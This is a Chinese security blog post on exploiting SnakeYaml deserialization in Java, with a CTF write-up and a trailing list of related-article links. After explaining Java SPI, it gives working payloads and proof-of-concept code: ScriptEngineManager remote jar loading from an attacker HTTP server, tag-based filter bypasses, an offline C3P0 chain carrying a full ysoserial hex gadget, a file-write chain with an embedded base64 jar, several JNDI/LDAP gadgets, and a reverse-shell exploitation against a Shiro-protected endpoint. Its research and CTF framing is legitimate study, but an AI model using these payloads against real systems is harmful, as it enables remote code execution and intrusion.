[Java反序列化]—SnakeYaml反序列化
文章首发于跳跳糖:SnakeYaml反序列化及不出网利用
SPI
正文之前先了解一下SPI机制。
SPI全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的接口,它可以用来启用框架扩展和替换组件。 SPI的作用就是为这些被扩展的API寻找服务实现。
- API (
Application Programming Interface)在
大多数情况下,都是实现方
制定接口并完成对接口的实现,调用方
仅仅依赖接口调用,且无权选择不同实现。 从使用人员上来说,API 直接被应用开发人员使用。 - SPI (
Service Provider Interface)
是调用方
来制定接口规范,提供给外部来实现,调用方在调用时则
选择自己需要的外部实现。 从使用人员上来说,SPI 被框架扩展人员使用。
简单实现
接口
package snakeYaml.SPI;public interface SpiService {public void say();
}
实现类
SPI1
package snakeYaml.SPI;public class SPI1 implements SpiService{@Overridepublic void say() {System.out.println("This is SPI->1");}
}
SPI2
package snakeYaml.SPI;public class SPI2 implements SpiService{@Overridepublic void say() {System.out.println("This is SPI->2");}
}
在classpath下面创建目录META-INF/services/
,在下面创建文件名是上述接口全限定名的文件,在此文件中写入此接口的实现类的全限定名:
测试
package snakeYaml.SPI;import java.util.Iterator;
import java.util.ServiceLoader;public class SpiDemo {public static void main(String[] args) {ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);
// for (SpiService spiService : serviceLoader) {// spiService.say();
// }Iterator<SpiService> iterator = serviceLoader.iterator();while (iterator.hasNext()) {SpiService spiService = iterator.next();spiService.say();}}
}
RCE
如果存在任意文件写入的话,即构造一个恶意类,并添加到classpath下,导致代码执行
此时将将SPI1中say方法的内容改为calc,当运行后则会造成代码执行
流程分析
SPI的核心的逻辑是 ServiceLoader.load()
方法,在ServiceLoader
中,存储了默认路径META-INF/services
获取到默认路径后断点打到hastNext()上,跟进看一下
调用了hasNextService()
public boolean hasNext() {if (acc == null) {return hasNextService();} else {.........
接着将默认值PREFIX
和在ServiceLoader.load()
中获取到的类名进行拼接,得到犬类名
接着调用下边parse()
,configs是348行获取到的全类名的资源
pending = parse(service, configs.nextElement());
跟进后发现通过IO流读取到了,文件中的内容,并通过迭代器逐一返回
接着就到了下边的next方法
再跟进next()
,其中返回值是nextService()
继续跟进nextService()
,首先获取要调用的类名也就是SPI1,通过反射获取该类,接着通过newInstance进行实例化,并retrun返回
获取到该类后,调用该类的say方法,弹出计算器
SnakeYaml
SnakeYaml是一个完整的YAML1.1规范Processor,用于解析YAML,序列化以及反序列化,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
YAML教程 (yiibai.com)
依赖
<dependency><groupId>com.mchange</groupId><artifactId>c3p0</artifactId><version>0.9.5.2</version>
</dependency>
SnakeYaml有2个方法:
- Yaml.load():入参是一个字符串或者一个文件,返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式
load()
User类
package snakeYaml;public class User {private String name;public User() {}public void setName(String name) {this.name = name;}public String getName() {return name;}
}
测试
public class SnakeYamlDemo {public static void main(String[] args) {User user1 = new User();user1.setName("Sentiment");Yaml yaml = new Yaml();System.out.println(yaml.dump(user1));}
}
结果
!!snakeYaml.User {name: Sentiment}
!!
用于强制类型转换,与fastjson中@type字段类似,!!snakeYaml.User
的意思是转换为User类。
dump()
将User类改为
package snakeYaml;public class User {private String name;public User() {System.out.println("User无参构造器");}public void setName(String name) {System.out.println("User.setName");this.name = name;}public String getName() {System.out.println("User.getName");return name;}
}
此时执行dump
public class SnakeYamlDemo {public static void main(String[] args) {Yaml yaml = new Yaml();String s = "!!snakeYaml.User {name: Sentiment}";User user2 = yaml.load(s);System.out.println(user2);}
}
结果
User无参构造器
User.setName
snakeYaml.User@66cd51c3
和fastjson、jackson一样。调用了无参构造器和setter
而这里有一个问题:
四种属性修饰,private,protected,public,default
,若属性设置为public,则不会调用对应的setter方法
调试了一下发现:
当属性为public时,是通过反射对Field
进行了set
而当属性为private时,是通过反射调用setName
设置的值
SnakeYaml反序列化
影响版本:全版本
漏洞原理
yaml反序列化时可以通过!!
+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManager
payload并利用SPI机制通过URLClassLoader
或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。
漏洞复现
常用的方式就是通过javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。
github上已经有现成的利用ScriptEngineManager利用方式的exp
直接修改要执行的命令即可,除此外可以发现旁边的META-INF.services
目录以及其中的文件,由此也可以证明ScriptEngineManager攻击链是通过SPI机制实现的
根据项目中的提示,编译文件,会生成yaml-payload.jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
本地开启监听服务
python -m http.server 7777
payload:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:7777/yaml-payload.jar"]]]
]
成功弹出计算器
ScriptEngineManager
先看下ScriptEngineManager
是如何通过SPI进行恶意执行的
先调用了init(),进行一些初始化设置之后调用initEngines()
跟进在下边调用了return getServiceLoader(loader);
,接着就是ServiceLoader.load()
,对我们自定义的类进行初始化
初始化完成后,向下执行又看到了两个熟悉的方法hasNext()
、next()
(SPI中介绍过)
hashNext获取全路径,并读取文件中的内容
next执行文件中对应的类,导致恶意代码执行
反序列化流程
接着看一下如何通过load()
进行反序列化调用远程jar包的
public <T> T load(String yaml) {return (T) loadFromReader(new StreamReader(yaml), Object.class);
}
先跟进StreamReader()
,通过StringReader
处理我们传入的字符串,将poc存储在StreamReader的this.stream字段值里。
接着回到loadFromReader()
,首先创建一个Composer对象,并将其封装到constructor()
中
private Object loadFromReader(StreamReader sreader, Class<?> type) {Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);constructor.setComposer(composer);return constructor.getSingleData(type);
}
跟进getSingleData()
调用getSingleNode()
将刚刚传入的payload的!!,变为如下这种带tag的表示,因此存在bypass方式(可参考浅蓝师傅的文章),这个后文再提。
所以现在的payload就变为了:
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9000/yaml-payload.jar)>])>])>])>])>
一共5条值,先留个印象
getSingleNode()执行完后返回这五条数据,给node属性,接着吊用constructDocument()
对其进行处理
接着跟进constructObject()
再跟进constructObjectNoCheck()
protected Object constructObject(Node node) {if (constructedObjects.containsKey(node)) {return constructedObjects.get(node);}return constructObjectNoCheck(node);
}
constructObjectNoCheck()
中recursiveObjects
值为空,所以不执行if,并通过add将node追加到其中,之后由于constructedObjects
值也是空,所以三目运算执行" : "后边的内容
protected Object constructObjectNoCheck(Node node) {if (recursiveObjects.contains(node)) {throw new ConstructorException(null, null, "found unconstructable recursive node",node.getStartMark());}recursiveObjects.add(node);Construct constructor = getConstructor(node);Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node): constructor.construct(node);
跟进contruct()
public Object construct(Node node) {try {return getConstructor(node).construct(node);} catch (ConstructorException e) {throw e;} catch (Exception e) {throw new ConstructorException(null, null, "Can't construct a java object for "+ node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);}
}
再跟进constuct()
for (Node argumentNode : snode.getValue()) {Class<?> type = c.getParameterTypes()[index];// set runtime classes for argumentsargumentNode.setType(type);argumentList[index++] = constructObject(argumentNode);
}
下边通过迭代的方式,调用constructObject()
而到了constructObject()
就相当于又回去了,再一次调用
constructObjectNoCheck()->
BaseConstructor#construct()->
Contructor#construct()->
通过迭代Contructor#constructObject()
执行constructObject()后,接着又回去了,连续执行四次,指到recursiveObjects中包含刚才提到的五条值
接着一直执行到迭代哪里,执行到下边的newInstance,这里具体的话分为3步,首先是URL
的实例化,之后是URLClassLoader
的实例化,最终实例化ScriptEngineManager
实例化后回到了ScriptEngineManager
的流程里,经过一级级调用触发远程代码执行
ByPass
前边提到了Bypass,这里记录两种bypass方式
参考:SnakeYaml 反序列化的一个小 trick - 浅蓝 's blog (b1ue.cn)
!<tag:yaml.org,2002:javax.script.ScriptEngineManager>
[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>
["http://ip/yaml-payload.jar"]]]]
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]
不出网利用
C3P0
Fastjson中可以用C3P0.WrapperConnectionPoolDataSource对HEX序列化字节码进行本地调用,而在snakeyaml也可用同样的方式进行不出网利用
根据环境中的依赖选择利用链,这里以CC5为例
java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt
将字节码文件转为16进制,传入payload中,即可进行恶意字节码加载
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'
POC:
public class SnakeYaml {public static void main(String[] args) {String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +"userOverridesAsString: 'HexAsciiSerializedMap:ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000037372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000005374002679736F73657269616C2E7061796C6F6164732E436F6D6D6F6E73436F6C6C656374696F6E7335740018436F6D6D6F6E73436F6C6C656374696F6E73352E6A6176617400096765744F626A6563747371007E000B0000003571007E000D71007E000E71007E000F7371007E000B0000002274001979736F73657269616C2E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E001A78737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E003200000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00327371007E002B7571007E002F00000002707571007E002F00000000740006696E766F6B657571007E003200000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002F7371007E002B757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078700000000174000463616C63740004657865637571007E00320000000171007E00377371007E0027737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878;'";Yaml yaml = new Yaml();yaml.load(payload);}
}
本地文件写入
在fastjson中,可以通过如下命令进行文件写入,而snakeyaml利用方式在很多方面都有很大的相似之处
{"@type": "java.lang.AutoCloseable","@type": "sun.rmi.server.MarshalOutputStream","out": {"@type": "java.util.zip.InflaterOutputStream","out": {"@type": "java.io.FileOutputStream","file": "dst","append": "false"},"infl": {"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="},"bufLen": 1048576},"protocolVersion": 1
}
所以构造snakeyaml的payload:
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },1048576]]
filepath是写入路径,base64是我们要写入文件的base64编码
poc:
package snakeYaml;import org.yaml.snakeyaml.Yaml;public class SnakeYaml {public static void main(String[] args) {String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]\n";Yaml yaml = new Yaml();yaml.load(payload);}
}
写入本地之后就可以通过ScriptEngineManager方式进行本地读取了
public class SnakeYaml {public static void main(String[] args) {String payload = "!!javax.script.ScriptEngineManager [\n" +" !!java.net.URLClassLoader [[\n" +" !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +" ]]\n" +"]";Yaml yaml = new Yaml();yaml.load(payload);}
}
这里也可以直接用师傅写的脚本:SnakeYaml 之不出网RCE - 先知社区 (aliyun.com)
package com.zlg.serialize.snakeyaml;import org.yaml.snakeyaml.Yaml;import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;public class SnakeYamlOffInternet {public static void main(String [] args) throws Exception {String poc = createPoC("./1.txt","./file/yaml-payload.txt");Yaml yaml = new Yaml();yaml.load(poc);}public static String createPoC(String SrcPath,String Destpath) throws Exception {File file = new File(SrcPath);Long FileLength = file.length();byte[] FileContent = new byte[FileLength.intValue()];try{FileInputStream in = new FileInputStream(file);in.read(FileContent);in.close();}catch (FileNotFoundException e){e.printStackTrace();}byte[] compressbytes = compress(FileContent);String base64str = Base64.getEncoder().encodeToString(compressbytes);String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";System.out.println(poc);return poc;}public static byte[] compress(byte[] data) {byte[] output = new byte[0];Deflater compresser = new Deflater();compresser.reset();compresser.setInput(data);compresser.finish();ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);try {byte[] buf = new byte[1024];while (!compresser.finished()) {int i = compresser.deflate(buf);bos.write(buf, 0, i);}output = bos.toByteArray();} catch (Exception e) {output = data;e.printStackTrace();} finally {try {bos.close();} catch (IOException e) {e.printStackTrace();}}compresser.end();return output;}
}
其它利用方式
JdbcRowSetImpl
跟fastjson调用链一样
payload:
"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:9999/Exec\"\n autoCommit: true";
POC:
public class SnakeYaml {public static void main(String[] args) {String payload = "!!com.sun.rowset.JdbcRowSetImpl\n " +"dataSourceName: \"ldap://localhost:9999/Exec\"\n " +"autoCommit: true";Yaml yaml = new Yaml();yaml.load(payload);}
}
Spring PropertyPathFactoryBean
需要有spring依赖
<dependency><groupId>org.springframework</groupId><artifactId>spring-beans</artifactId><version>5.3.23</version>
</dependency>
<dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>5.3.23</version>
</dependency>
POC:
public static void main(String[] args) throws Error ,Exception{String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +" targetBeanName: \"ldap://localhost:9999/Exec\"\n" +" propertyPath: Sentiment\n" +" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +" shareableResources: [\"ldap://localhost:9999/Exec\"]";Yaml yaml = new Yaml();yaml.load(poc);
}
Apache XBean
依赖
<dependency><groupId>org.apache.xbean</groupId><artifactId>xbean-naming</artifactId><version>4.22</version>
</dependency>
POC:
public static void main(String[] args) throws Error ,Exception{String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"Exec\", \"http://localhost:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]";Yaml yaml = new Yaml();yaml.load(poc);
}
Apache Commons Configuration
依赖
<dependency><groupId>commons-configuration</groupId><artifactId>commons-configuration</artifactId><version>1.10</version>
</dependency>
POC:
public static void main(String[] args) throws Error ,Exception{String poc = "\n" +" ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://localhost:9999/Execs\"]]";Yaml yaml = new Yaml();yaml.load(poc);
}
C3P0 JndiRefForwardingDataSource
POC:
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +" jndiName: \"ldap://localhost:9999/Exec\"\n" +" loginTimeout: 0";Yaml yaml = new Yaml();yaml.load(poc);
}
Resource
依赖
<dependency><groupId>org.eclipse.jetty</groupId><artifactId>jetty-jndi</artifactId><version>9.4.8.v20171121</version>
</dependency>
<dependency><groupId>org.eclipse.jetty</groupId><artifactId>jetty-plus</artifactId><version>9.4.8.v20171121</version>
</dependency>
<dependency><groupId>org.eclipse.jetty</groupId><artifactId>jetty-util</artifactId><version>9.4.8.v20171121</version>
</dependency>
POC:
public static void main(String[] args) throws Error ,Exception{String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";Yaml yaml = new Yaml();yaml.load(poc);
}
例题
正好在HECTF中遇到了一道。
littleJava
shiro权限绕过
题目中添加了添加authc拦截器,/admin/*的请求会被拦截,但存在绕过如/admin/*/后边加个斜杠"\",即可绕过,所以访问/admin/hello/即可
snakeYaml反序列化
请求/admin/hello/后就能通过data进行yaml反序列化
@RequestMapping({"/admin/hello"})
@ResponseBody
public String admin(@RequestParam(name = "data",required = false) String data, Model model) throws Exception {try {if (data.startsWith("!!")) {return "Hacker!!!";} else {Yaml yaml = new Yaml();yaml.load(data);return "Good Yaml";}} catch (Exception var4) {return "Give me one data!";}
}
可以直接用现成项目,构造反弹shell命令
生成对应jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
将生成的yaml-payload.jar,放到vps上,并监听反弹shell端口
nc -lvnp 10000
最后是构造反序列化,由于上边过滤了!!,因此需要bypass
!<tag:yaml.org,2002:javax.script.ScriptEngineManager>
[!<tag:yaml.org,2002:java.net.URLClassLoader>
[[!<tag:yaml.org,2002:java.net.URL>
["http://ip/yaml-payload.jar"]]]]
成功反弹shell
参考文章
(2条消息) Java 中经常被提到的 SPI 到底是什么?_肥肥技术宅的博客-CSDN博客
[Java反序列化]—SnakeYaml反序列化相关推荐
- 『Java安全』SnakeYAML反序列化利用基础
文章目录 前言 YAML基础 依赖 SnakeYAML序列化和反序列化基础 序列化 反序列化 SnakeYAML反序列化利用 原理 PoC 探测-触发dnslog 基于SPI的ScriptEngine ...
- Java安全之SnakeYaml反序列化分析
Java安全之SnakeYaml反序列化分析 0x00 前言 偶然间看到SnakeYaml的资料感觉挺有意思,发现SnakeYaml也存在反序列化利用的问题.借此来分析一波. 0x01 SnakeYa ...
- SnakeYaml反序列化
声明 出品|先知社区(ID:dawntown) 以下内容,来自先知社区的dawntown作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室 ...
- java 序列化概念和作用_结合代码详细解读Java序列化与反序列化概念理解
Java序列化与反序列化是什么?为什么需要序列化与反序列化?如何实现Java序列化与反序列化?本文围绕这些问题进行了探讨. 1.Java序列化与反序列化 Java序列化是指把Java对象转换为字节序列 ...
- Java中如何引用另一个类里的集合_【18期】Java序列化与反序列化三连问:是什么?为什么要?如何做?...
Java序列化与反序列化是什么? Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程: 序列化:对象序列化的最主要的用处就是在传递和保存对象 ...
- java序列化与反序列化(转)
Java序列化与反序列化是什么?为什么需要序列化与反序列化?如何实现Java序列化与反序列化?本文围绕这些问题进行了探讨. 1.Java序列化与反序列化 Java序列化是指把Java对象转换为字节序列 ...
- java序列化和反序列化以及序列化ID的作用分析
java序列化和反序列化 一.概念 java对象序列化的意思就是将对象的状态转化成字节流,以后可以通过这些值再生成相同状态的对象.对象序列化是对象持久化的一种实现方法,它是将对象的属性和方法转化为一 ...
- Java序列化、反序列化
目录 1:什么是序列化.反序列化? 2:序列化的用途? 3:序列化的n种方式 1:什么是序列化.反序列化? 把对象转换为字节序列的过程称为对象的序列化 把字节序列转换为对象的过程中称为对象的反序列化 ...
- java序列化和反序列化_Java恶意序列化背后的历史和动机
java序列化和反序列化 与Java的序列化机制相关的问题已广为人知. 有效的Java 1st Edition (第10章)和有效的Java 2nd Edition (第11章)的整个最后一章都专门讨 ...
- 教你彻底学会Java序列化和反序列化
Java序列化是什么? Java序列化是指把Java对象转换为字节序列的过程,Java反序列化是指把字节序列恢复为Java对象的过程.反序列化:客户端重文件,或者网络中获取到文件以后,在内存中重构对象 ...
最新文章
- 互联网思维-产品思维(1)
- libxml/xmlversion.h: No such file or directory
- python详细安装教程linux-Python 环境安装步骤
- 补补算术基础:编程中的进制问题
- pdf2swf无法转换某些文档,提示缺少字体时的处理
- [css] 使用css3画一个扇形
- python .center用法_Python Pandas Series.str.center()用法及代码示例
- redis 超时失效key 的监听触发
- BoW(词袋Bag of words)
- java web响应式框架_Web开发的十佳HTML5响应式框架
- 精通ASP.NET MVC ——URL和Ajax辅助器方法
- .net中所用到的编码名称和对应的代码页(Encoding.GetEncoding) .
- zz从一道笔试题谈算法优化(上)
- MWC - 飞控套件CRIUS MWC MultiWii SE v2.6组装
- matlab中求最小值min函数的使用详细介绍(附matlab代码)
- bin文件转换成hex的方法
- 谷歌、百度循环多次翻译、语音下载python脚本
- 笔记本Ubuntu系统,关上盖子不休眠设置
- 安装配置DOSBox
- Vue 接入腾讯云【实时音视频】TRTC